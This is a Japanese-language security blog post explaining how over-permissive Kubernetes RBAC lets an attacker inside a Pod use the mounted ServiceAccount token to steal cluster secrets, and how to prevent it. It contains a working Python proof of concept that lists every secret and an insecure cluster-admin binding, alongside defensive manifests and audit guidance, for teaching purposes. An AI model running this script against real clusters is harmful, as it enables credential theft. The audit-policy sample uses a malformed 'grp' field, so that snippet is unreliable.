おい、ちょっと手を止めてこっちを向いてくれ。
Kubernetes(K8s)の導入が進み、私たちのインフラは劇的なスピードと柔軟性を手に入れた。だが、その裏で「とりあえず動くようにする」という魔術的なデプロイが横行しているのを知っているか? 開発チームから「権限エラーでPodが落ちるんです」と言われ、面倒くさくなって cluster-admin や過剰な ClusterRoleBinding を雑に付与した経験、一度や二度ではないはずだ。
レッドチームの視点から言わせてもらえば、Kubernetesクラスターにおける過剰なRBAC(Role-Based Access Control)の設定ミスは、「玄関の鍵を開けっぱなしにした挙句、家中の合鍵をリビングのテーブルにばらまいている状態」に等しい。
今回は、攻撃者がどのようにしてその「合鍵」を拾い上げ、クラスタの制圧に至るのか。そして、それをどうやって水際で阻止するのか、現場のリアルな知見を交えて徹底的に解説しよう。
—
1. 攻撃者の視点:なぜKubernetes RBACが狙われるのか
ペネトレーションテストや実際のインシデントにおいて、私たちは外部から公開されたWebアプリケーションの脆弱性(RCEなど)を突いて、まずコンテナ(Pod)の内部へと侵入する。ここがすべての起点だ。
コンテナ内部に入った攻撃者が最初に行うルーチンワークを知っているか? それは、APIサーバーへの通信経路の確認と、そのPodに紐づく ServiceAccount(SA) のトークンとCA証明書の探索だ。
デフォルトでは、Kubernetesの各Podには自動的に ServiceAccount の認証トークンが以下のパスにマウントされる。
- トークン:
/var/run/secrets/kubernetes.io/serviceaccount/token - CA証明書:
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
もし、このPodに紐づく ServiceAccount に対して、不適切に広い権限(例: ClusterRoleBinding で cluster-admin が紐付けられている等)が与えられていたらどうなるか? 攻撃者はたった数行のスクリプトを実行するだけで、クラスタ内の全シークレットの窃取、任意のPodの作成(=ホストノードへの特権コンテナ展開)、果てはクラスタ全体の完全掌握(Control Planeの乗っ取り)を達成してしまうのだ。
—
2. 悪用のPoC(概念実証):過剰権限のServiceAccountによるクラスタ乗っ取り
百聞は一見に如かず。実際に攻撃者がどのようにAPIサーバーを叩いて権限昇格を行うのか、PythonスクリプトによるPoCを見てみよう。
このスクリプトは、コンテナ内に侵入した攻撃者が、マウントされたトークンを利用してKubernetes APIサーバーに直接リクエストを送り、クラスタ内のすべてのシークレット(DBのパスワードやAPIキーなど)を強奪するシナリオを想定している。
import os
import requests
import urllib3
# 自己署名証明書による警告を無視(内部通信では一般的)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Pod内にマウントされたServiceAccountの認証情報を読み込む
SA_PATH = "/var/run/secrets/kubernetes.io/serviceaccount"
def get_service_account_token():
token_path = os.path.join(SA_PATH, "token")
with open(token_path, "r") as f:
return f.read().strip()
def exploit_kubernetes_rbac():
# Kubernetesの内部APIサーバーのエンドポイント
k8s_host = os.getenv("KUBERNETES_SERVICE_HOST", "kubernetes.default.svc")
k8s_port = os.getenv("KUBERNETES_SERVICE_PORT", "443")
api_url = f"https://{k8s_host}:{k8s_port}"
token = get_service_account_token()
headers = {
"Authorization": f"Bearer {token}",
"Accept": "application/json"
}
print(f"[*] Kubernetes APIサーバーへ接続中: {api_url}")
# 権限確認: 全名前空間のSecretリストを取得してみる
secrets_url = f"{api_url}/api/v1/secrets"
response = requests.get(secrets_url, headers=headers, verify=os.path.join(SA_PATH, "ca.crt"))
if response.status_code == 200:
print("[+] 脆弱性を確認: このServiceAccountにはクラスタ全体のSecret読み取り権限があります!")
secrets = response.json()
for secret in secrets.get("items", []):
namespace = secret["metadata"]["namespace"]
name = secret["metadata"]["name"]
print(f" -> 取得成功: Namespace=[{namespace}], SecretName=[{name}]")
else:
print(f"[-] アクセス拒否または権限不足: ステータスコード {response.status_code}")
print(response.text)
if __name__ == "__main__":
exploit_kubernetes_rbac()
このスクリプトが動いてしまう環境は、セキュリティ監査において「即座に対応すべき重大な脆弱性(Critical)」と判定される。
—
3. なぜこの設定ミスが起きるのか?(アンチパターン)
現場でよく見かける最悪のパターンは、デプロイメントの利便性を優先するあまり、次のようなマニフェストを平然とデプロイしてしまうケースだ。
# 【絶対に真似してはいけない危険な設定例】
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: insecure-cluster-admin-binding
subjects:
- kind: ServiceAccount
name: default
namespace: default
roleRef:
kind: ClusterRole
name: cluster-admin # クラスタの全権限をdefaultサービスアカウントに付与している
apiGroup: rbac.authorization.k8s.io
default 名前空間の default サービスアカウントは、何も指定しないかぎりすべてのPodに自動アタッチされる。つまり、この ClusterRoleBinding が存在するということは、そのクラスタ内で動くすべての「デフォルト設定のPod」が、実質的にクラスタの管理者権限を手に入れているのと同じなのだ。悪意あるリクエストが1つのWebコンテナに到達した瞬間、ゲームオーバーとなる。
—
4. 完全に防御するためのセキュアな設計と実装
では、このリスクをどう断ち切るべきか。答えはシンプルだ。「最小権限の原則(Principle of Least Privilege)」をKubernetesの隅々にまで適用すること。
① ServiceAccountの自動マウントを無効化する
アプリケーションがKubernetes APIを直接叩く必要がないのであれば、ServiceAccountのトークンをコンテナ内に自動マウントさせる必要は一切ない。Podの仕様(PodSpec)で automountServiceAccountToken: false を明示的に指定せよ。
以下に、セキュアなデプロイメントの設定サンプルを示す。
apiVersion: apps/v1
kind: Deployment
metadata:
name: secure-web-app
namespace: production
spec:
replicas: 3
selector:
matchLabels:
app: web-app
template:
metadata:
labels:
app: web-app
spec:
# 【重要】不要なServiceAccountトークンの自動マウントを完全に無効化する
automountServiceAccountToken: false
containers:
- name: web
image: my-secure-app:v1.0.0
securityContext:
allowPrivilegeEscalation: false # 特権昇格を禁止
readOnlyRootFilesystem: true # ルートファイルシステムを読み取り専用に
runAsNonRoot: true # rootユーザーでの実行を禁止
capabilities:
drop:
- ALL # すべてのLinux能力(Capabilities)を剥奪
resources:
limits:
cpu: "500m"
memory: "512Mi"
requests:
cpu: "100m"
memory: "128Mi"
② APIアクセスが必要な場合の正しいRBAC設計
どうしてもPodからKubernetes APIを利用する必要がある場合(例:コントローラーや動的なリソース管理を行うアプリケーション)、以下のルールを厳守すること。
1. ClusterRoleBinding ではなく RoleBinding を使う: 権限は必要最小限の Namespace 内に限定する。
2. 専用の ServiceAccount を作成する: default サービスアカウントは絶対に使わない。
3. 動詞(Verbs)とリソース(Resources)を厳格に絞る: * を指定してはならない。
以下は、特定の名前空間内で特定のConfigMapの読み取りのみを許可するセキュアなRBACマニフェストのサンプルだ。
---
# 専用のServiceAccountを作成
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-config-reader
namespace: production
---
# 最小限の権限を持つRoleを定義
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: production
name: config-reader-role
rules:
- apiGroups: [""]
resources: ["configmaps"]
resourceNames: ["my-app-config"] # 特定のConfigMapだけにアクセスを絞る
verbs: ["get"] # 取得(get)以外の権限は与えない
---
# RoleとServiceAccountを紐付ける(ClusterRoleBindingではない点に注意)
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-config-binding
namespace: production
subjects:
- kind: ServiceAccount
name: app-config-reader
namespace: production
roleRef:
kind: Role
name: config-reader-role
apiGroup: rbac.authorization.k8s.io
—
5. 異常検知:RBAC監査ログ(Audit Logs)の監視
どれだけ厳重に設定しても、ヒューマンエラーやゼロデイ脆弱性による侵入を100%防ぐことはできない。だからこそ、「侵入された前提」での検知体制が必要になる。
Kubernetesの監査ログ(Audit Log)を有効化し、以下のような異常な挙動をSIEMやLog Analyticsツールでリアルタイムにモニタリング・アラート設定しておこう。
- 不審なAPIコールの検知: 通常のアプリケーション用ServiceAccountが、普段アクセスしないリソース(例:
secrets,clusterroles)に対してリクエストを送信した瞬間。 - 特権バインドの検知:
cluster-adminロールを紐付けるClusterRoleBindingやRoleBindingが新規作成・変更された瞬間。
例えば、Kubernetesの監査ポリシー設定(Audit Policy)では、以下のようにセキュリティクリティカルな操作を RequestResponse レベルでログに記録するように設定すべきだ。
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# SecretへのアクセスやRBACの変更は詳細に監査ログに残す
- level: RequestResponse
resources:
- grp: ""
resources: ["secrets"]
- grp: "rbac.authorization.k8s.io"
resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
# その他はメタデータのみを記録(パフォーマンス配慮)
- level: Metadata
omitStages:
- RequestReceived
—
チーフエンジニアからのメッセージ
セキュリティは「面倒くさい」と感じた瞬間から崩壊が始まる。「動けばいいや」で作られたKubernetesマニフェストは、数ヶ月後に会社の信頼を吹き飛ばす時限爆弾に化ける。
今日から君たちのチームでも、デプロイパイプラインの中に kube-bench や Checkov、あるいは Trivy などのIaCスキャナーを組み込み、過剰な権限設定がマージされる前に自動で弾く仕組みを導入してほしい。自分のインフラを守れるのは、他の誰でもない、コードを書いている君たち自身なのだから。
コメント